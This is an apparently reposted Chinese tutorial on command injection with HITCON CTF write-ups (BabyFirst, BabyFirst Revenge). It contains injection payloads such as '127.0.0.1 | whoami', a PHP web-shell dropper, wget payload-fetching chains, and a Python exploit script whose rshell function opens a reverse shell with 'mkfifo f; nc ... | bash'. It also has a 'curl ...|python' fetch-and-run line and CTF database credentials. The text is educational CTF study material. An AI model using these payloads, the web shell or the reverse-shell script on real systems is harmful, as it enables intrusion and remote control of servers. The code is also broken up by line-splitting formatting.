一 、基本原理
命令注入指的是,利用没有验证过的恶意命令或代码,对网站或服务器进行渗透攻击。
注入有很多种,并不仅仅只有SQL注入。比如:
命令注入(Command Injection)
Eval 注入(Eval Injection)
客户端脚本攻击(Script Insertion)
跨网站脚本攻击(Cross Site Scripting, XSS)
SQL 注入攻击(SQL injection)
动态函数注入攻击(Dynamic Variable Evaluation)
序列化注入&对象注入
这种题目又哪些常见的,一个使我们常用的文件包含,我们是可以使用system等函数的,或者是php函数,应该也属于命令注入的范畴。
-
类似于
-
?url=php:
//input
-
postdata =
<?php system('ls'); ?>
sql注入在我看来也是输入命令注入的范畴的,让数据库执行我们的恶意代码
但是本章节主要讲的和例题涉及的,实际上是执行命令的一些trick,例如在linux系统的命令的分段,命令的一些特殊用法,关于文件包含,sql注入等的我们前面也有专题了,这里就不会涉及多少。
步骤2:漏洞代码审计
php、java、python中常见的可以进行命令注入或者代码注入的函数:
-
(
1)在PHP中常用到以下几个函数来执行外部命令:
-
system
-
exec
-
passthru
-
shell_exec
-
(
2)python的:
-
-*-command:
system\popen\subprocess.call\spawn
-
-*-code:
map\filter\reduce\...
-
# python 函数名可以直接作为普通函数的参数的,理论上,如果定义了这样的函数都危险
-
def myreduce(funcname,param):
-
return funcname(param)
-
(3)
java的:
-
-*
-command:
java
.lang
.Runtime
.getRuntime()
.exec(
command)
-
_*_
code:不太懂
java,这方面的接触实在不多。
所以接下来,要寻找哪个文件使用了这几个函数,并进行分析。
我们对函数名进行搜索,右键点击www
目录,在弹出来的菜单上选择find in folder
,这个是查找整个文件夹的意思,然后我们在下方弹出的框内输入第一个敏感函数:system
,点击Find,这时,编辑器就会查找WWW目录下所有内容里面有system的文件。
可以看到,在variables文件里有system函数,但它的功能只是让我们自定义网络,对本次试验无意义,因此我们查看下一个函数exec
。
用同样的方法搜索exec
函数:
它出现在在admin目录下的ping.php文件中,我们打开admin目录下的ping.php文件进行查看:
打开文件后可以看到,只有19到30行左右为PHP代码,其他均为HTML,因此核心代码应该为第19行到30行,如下
-
&lt;?php
-
if(
isset( $_POST[
'submit' ] ) )
-
{
-
$target = $_POST[
'target' ];
-
-
if (stristr(php_uname(
's'),
'Windows NT')) {
-
$cmd =
'ping ' . $target;
-
}
else {
-
$cmd =
'ping -c 3 ' . $target;
-
}
-
$res = shell_exec&
#40; $cmd &#41;;
-
echo
"<br /><pre>$cmd\r\n".iconv(
'GB2312',
'UTF- 8',$res).
"</pre>";
-
}
-
?>
这段代码的功能是,使用ping命令,ping用户输入的ip。
接下来大概分析一下这段代码的大意:
首先通过isset函数判断是否为POST提交过来的值,接下来将POST过来的值传递给target变量,但是没有经过任何的过滤,接下来使用if判断系统是否为windows,如果是则给cmd赋值为ping target,如果不是则赋值为ping -c 3 target。最后使用shell_exec执行cmd。
我们从上面的代码中可以得到两点可能产生漏洞的地方:
POST过来的数据,没有经过任何的过滤。 >* 使用shell_exec函数执行了我们传递过来的POST值。
这便是漏洞所在的地方,我们可以在ip后面添加|
符,让它执行完ping命令后,继续执行我们在|符号后添加的字符,其中|
:是or的意思,执行完ping命令,因为有|
的存在,系统就会继续执行后面的命令。
二、漏洞挖掘:
1、在请求中出现的位置:
(1)POST和GET参数中
(2)URL的filepath或者filename中(类似thinkphp的伪静态,或者python的url_for构造的一类)
2、特殊的OS命令注入经常会出现在的业务位置:
1、系统web管理界面的系统信息配置点:hostname、ipaddress、netmask、gateway、dnsserver、email等。
2、功能类网站工具:ping、tracert、nslookup等
3、文件查找或者操作功能:find、locate等
4、系统信息查看类功能:cpuinfo、meminfo等
5、关闭重启类操作、shutdown、ifconfig up、reboot、poweroff等
三、常用payload模式:
1、| ,& ,&&,||等操作
(1)& 表示先执行CMD1 再执行CMD2,这里不考虑CMD1是否成功。使用CMD1 & CMD2
(2)&& 表示先执行CMD1,成功后再执行CMD,否则不执行CMD2。使用CMD1 && CMD2
(3)|| 先执行CMD1,CMD1执行成功就不再执行CMD2,CMD1执行失败则执行CMD2。使用CMD1 || CMD2
2、payload(& / ‘ “ 空格等特殊符号需要时编码)
(1) cmd = 127.0.0.1 | whoami
(2) cmd = 127.0.0.1 & whoami
(3) cmd = 127.0.0.1 && whoami
(4) cmd = `whoami`
(5) cmd = '/"|whoami(这里意思是用'/"引号闭合前面 /->表示或)
3、常用的命令
(1) 有回显的:whoami id(验证类)
(2) 没有回显的:nslookup wget 等看请求、dnslog httplog等 (验证类)
(3)弹shell必须的,参考我自己的(http://www.cnblogs.com/KevinGeorge/p/8120226.html)
4、代码注入:
(1)php的:检测phpinfo();攻击代码任意。
(2)python的:import time;time.sleep(20),攻击代码任意。
(3)java的:我是弱鸡想不到啊。
2018.8.5补充:
$() 会将里面的字符当做命令执行 支持使用一定的编码 echo $(print(xxxxxxx))
` ` 反引号中的也会当命令执 ping ‘whoami’
四、防御:
1、禁止相关函数
2、过滤输入
3、制定可输入内容
五、CTF 例题
让人吃惊的是,做这个题目需要我们有一定的linux基础,感觉它使用了一些命令的不常见用法。
1.Babyfirst
-
<?php
-
highlight_file(
__FILE__);
-
-
$dir =
'sandbox/' . $_SERVER[
'REMOTE_ADDR'];
-
if ( !file_exists($dir) )
-
mkdir($dir);
-
chdir($dir);
-
-
$args = $_GET[
'args'];
-
for ( $i=
0; $i<count($args); $i++ ){
-
if ( !preg_match(
'/^\w+$/', $args[$i]) )
-
exit();
-
}
-
-
exec(
"/bin/orange " . implode(
" ", $args));
-
?>
大概的意思就是执行url传过来的参数,先使用【空格】拼接后执行,那么我们可以构造参数如下:
-
http:
//localhost/
-
?args[
0]=x%
0a
//%0a为换行的意思
-
&args[
1]=mkdir
-
&args[
2]=orange%
0a
//创建目录
-
&args[
3]=cd
-
&args[
4]=orange%
0a
//进入目录
-
&args[
5]=wget
-
&args[
6]=
846465263%
0a
//获取文件
-
-
http:
//localhost/
-
?args[
0]=x%
0a
-
&args[
1]=tar
-
&args[
2]=cvf
-
&args[
3]=aa
-
&args[
4]=orange%
0a
//解压文件
-
&args[
5]=php
-
&args[
6]=aa
//运行文件
这其中有几个要点
(1)发现WGET仍然支持通过它的长号码格式来解析IP主机。这意味着我们使用http://92775836/是可以的
(2)寻找不需要破折号的命令,想到了tar,如果我们可以将一个非压缩存档传递给PHP解释器就很完美了
-
//我们的需要是这样的
-
mkdir exploit
-
cd exploit
-
wget
92775836
-
tar cvf archived exploit
-
php archived
-
//"exploit"大概是这么样的 :
-
<?php
-
file_put_contents(
'shell.php',
'
-
<?php
-
header("Content-Type: text/plain");
-
print shell_exec($_GET["cmd"]);
-
?>
-
');
-
?>
2. BabyFirst Revenge
进一步的我们换成了另外一种形式,并加强每次只能传输<=5个字符,这时候就又有新的知识可以学习了.首先看一下代码
-
<?php
-
$sandbox =
'/www/sandbox/' . md5(
"orange" . $_SERVER[
'REMOTE_ADDR']);
-
@mkdir($sandbox);
-
@chdir($sandbox);
-
if (
isset($_GET[
'cmd']) && strlen($_GET[
'cmd']) <=
5) {
-
@exec($_GET[
'cmd']);
-
}
else
if (
isset($_GET[
'reset'])) {
-
@exec(
'/bin/rm -rf ' . $sandbox);
-
}
-
highlight_file(
__FILE__);
-
?>
了解一下以下的有关知识,看看是否有思路。
(1)ls>a 将目录写进a文件 ls>>a 追加的形式写(注意排序问题,按照顺序写的)
(2)shell中可以使用\连接一行中没打完的语句
-
echo\
-
"chy\
-
beta"
//这是可以正常使用的
(3)错误语句不会影响下面正确语句的执行
-
-t\
-
>q
-
a
//这之前的命令虽然是错的,但不会影响
-
l\
-
s \
-
-t\
-
>q
//实际输出的命令为 ls -t>q
综上,我们需要做的就是将命令写进文件,使用\来连接不同行,然后执行文件就可以。但是问题出现了,我们控制不了文件的顺序,使得写入文件时的顺序不会是按照我们想的顺序,如果能按照时间排序就很完美了,当然ls -t就是这个功能,我们需要把它写进一个文件里,方便接下来调用。
例如想要ls -t>g(我们将这个命令写入文件a),我们创建了ls\, ,-t\ ,>g\,我们有这四个文件了,调用命令ls>a 将目录写进a文件,发现...a里面的命令实际是乱的。
那么要求我们不需要考虑是否存在不可用命令,将创建的文件夹可以排成我们想要的顺序,看看大佬的顺序是如何弄的(环境不一样,可能结果不一样)
-
>-t\
-
>\>q
-
>l\
-
>s\ \
-
ls>a
-
ls
>>a
‘
ls>a之后 文件内容为
在ls>>a 得到的结果为
我们看到第四个到第七个组成了ls -t>q,前面的错误指令不用考虑。
接下来的下一个任务,从指定url下载文件,将IP转换为10进制,然后由于ls -t是新文件排在前,我们需要倒序创建文件(wget 2077173*48),需要创建的顺序为
>*48 >173\ >077\ >\ 2\ >et\ >wg\
接着执行命令sh a
,注意文件a是我们第一阶段时生成的,其中包含命令ls -t>q
。运行完后查看新生成的文件q:
接下来执行命令sh q
就可以下载文件了。接下来,需要不断的进行探索flag的所在地。可以按照下述命令来实现命令的执行:
-
?cmd=rm%
20i*
// 删除index.html
-
?cmd=sh%
20a
// 执行文件q,即wget新的index.html
-
?cmd=sh%
20i*
// 执行index.html中的shell命令
找到在一个主目录下有一个readme.txt
-
Flag
is
in the MySQL database
-
fl4444g / SugZXUtgeJ52_Bvr
接下去通过替换index.html的内容。不断地将sql查询语句写到文件里并访问,最后得到flag
-
mysql -ufl4444g -pSugZXUtgeJ52_Bvr -e
"show databases;" > kk5
-
/
/ 访问:http:/
/52.199.204.34/sandbox
/对应md5/kk5, 得到:
-
Database
-
information_schema
-
fl4gdb
-
-
mysql -ufl4444g -pSugZXUtgeJ52_Bvr -e
"SELECT GROUP_CONCAT(table_name) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=0x666c34676462" > kk7
-
/
/访问:http:/
/52.199.204.34/sandbox
/对应md5/kk7, 得到:
-
GROUP_CONCAT(table_name)
-
this_is_the_fl4g
-
-
mysql -ufl4444g -pSugZXUtgeJ52_Bvr -e
"(SELECT * FROM fl4gdb.this_is_the_fl4g" > kk9
-
/
/访问:http:/
/52.199.204.34/sandbox
/对应md5/kk9, 得到:
-
secret
-
hitcon{idea_from_phith0n,
thank_you:)}
第二位大佬的作品
大佬使用的是xxd命令,通过创建命令的ascii码将其写入文件中,然后再执行。大佬采用的方法是几个几个的ascii通过>创建文件,然后通过ls>>y将y字符和ascii码追加到y文件中,每写进去一个之后就删除acsii文件,确保每次只追加y和ascii码。
然后的关键点是,创建参数文件>-p >-r 和目标文件>z,当我们使用xxd *命令是,会将-p -r文件当做参数,y当做源文件z当做目的文件,将y中的可acsii反向的数据反向之后持续的输出到z,实现了我们只保留原始acsii对应的字符,并去除多余的y的功能。大概的原理如下:例如打印hello
-
>
4845
//ascii文件
-
ls>>y
//追加到y
-
rm
4*
//删除ascii文件
-
>
4c4c
//以上的不断重复
-
ls>>y
-
rm
4*
-
>
4f
-
ls>>y
-
rm
4*
//到此为止 y中的内容为
-
4845.y
.4c4c.y
.4f.y. 这里使用.表示换行
-
>z
//创建目标文件
-
>-p
//创建参数文件
-
>-r
//目录下排序为 -p -r y z
-
xxd *
//相当于执行 xxd -p -r y z
-
//将y中的可acsii反向的数据反向之后持续的输出到z 即为hello 中间的没用的都被去除了
(另一种方法 直接写命令的字母,最后的文件名用\ 相当于每次带有一个\ 拼接命令)
-
cat\
-
flag\
-
.txt\
作者在这个原理的基础上写了一个万能脚本,通过如下创建一个反弹shell
mkfifo f; nc <host> <port> <f | bash >f 2>f
具体实验中他们使用的脚本是这个样子的,可以看到使用的原理就是上边讲的那个,通过不断地字节拼接完成命令组装,可以执行任意命令,并观察返回值。
-
import requests
as rq
-
import hashlib
as h
-
import binascii
as ba
-
-
url =
"http://52.199.204.34/"
-
ipify =
"https://api.ipify.org"
-
-
def get_ip():
-
r = rq.get(ipify)
-
return r.text
-
-
folder = h.md5(
b"orange" + get_ip().encode()).hexdigest()
-
-
def reset():
-
rq.get(url, params = {
-
"reset":
1
-
})
-
-
def cmd(c):
-
rq.get(url, params = {
-
"cmd": c
-
})
-
-
def read(f):
-
r = rq.get(url +
"sandbox/" + folder +
"/" + f)
-
if r.status_code ==
200:
-
return r.text
-
-
def long_cmd(cmd_text):
-
reset()
-
cmd_bytes = cmd_text.encode()
-
for i
in range(
0, len(cmd_bytes),
2):
-
cur_bytes = cmd_bytes[i:i +
2]
-
print(
"writing '{}'".format(cur_bytes.decode()))
-
hex_chars = ba.hexlify(cur_bytes).decode()
-
cmd(
">" + hex_chars)
-
cmd(
"ls>>y")
-
cmd(
"rm " + hex_chars[
0] +
"*")
-
cmd(
">z")
-
cmd(
">-p")
-
cmd(
">-r")
-
cmd(
"xxd *")
-
cmd(
"sh z")
-
return read(
"o")
-
-
def shell(cmd_text):
-
print(long_cmd(cmd_text))
-
-
def rshell(host, port):
-
long_cmd(
"mkfifo f; nc {} {} <f | bash >f 2>f".format(host, port))
查找发现目录下一个README.txt文件存有flag信息
-
Flag
is
in the MySQL database
-
fl4444g / SugZXUtgeJ52_Bvr
通过脚本执行以下命令,就可以拿到flag
-
$ mysql -ufl4444g -pSugZXUtgeJ52_Bvr
-
mysql> SHOW DATABASES;
-
Database
-
information_schema
-
fl4gdb
-
mysql>
use
fl4gdb;
-
SHOW TABLES;
-
Tables_in_fl4gdb
-
this_is_the_fl4g
-
mysql> SELECT * FROM this_is_the_fl4g;
-
secret
-
hitcon{idea_from_phith0n,thank_you:)}
三.BabyFirst Revenge v2
题目进一步变难,将字符控制在4个之内
-
<?php
-
$sandbox =
'/www/sandbox/' . md5(
"orange" . $_SERVER[
'REMOTE_ADDR']);
-
@mkdir($sandbox);
-
@chdir($sandbox);
-
if (
isset($_GET[
'cmd']) && strlen($_GET[
'cmd']) <=
4) {
-
@exec($_GET[
'cmd']);
-
}
else
if (
isset($_GET[
'reset'])) {
-
@exec(
'/bin/rm -rf ' . $sandbox);
-
}
-
highlight_file(
__FILE__);
-
?>
对于上边大佬些的感觉没有影响,一个一个弄就好了
--------------------------------未整理-------------------------------
四·命令执行的一些trick
1.>NAME 我们可以创建新的文件
2.ls>name 我们可以吧目录按顺序写入文件
3.\可以用来衔接多行中的命令(一行一部分,多行拼凑)
4.命令 * 可以将目录下的文件当做参数,注意文件顺序
5.关于反弹shell什么的,还需要多加学习,liunx命令也要知道些
6.一些稀奇古怪的命令和用法
总结
4个trick思路加上重定向和反弹shell知识
trick1 命令组装 dir a b >c
trick2 通配符的妙用 *v=rev v
trick3 按时间顺序排列文件 ls -t
trick4 命令续行
curl orang.pw|python 通过url下载orange中的文件,使用python执行,就可以反弹shell
详细的trick介绍请点击连接
https://www.freebuf.com/articles/web/154453.html 因为原文是禁止转载 请跳转查看 还是挺深奥的
--------------------------------未整理-------------------------------
参考 https://www.cnblogs.com/KevinGeorge/p/8232430.html
https://blog.csdn.net/kuiguowei/article/details/79045215?utm_source=blogxgwz9
转载:https://blog.csdn.net/bylfsj/article/details/101451883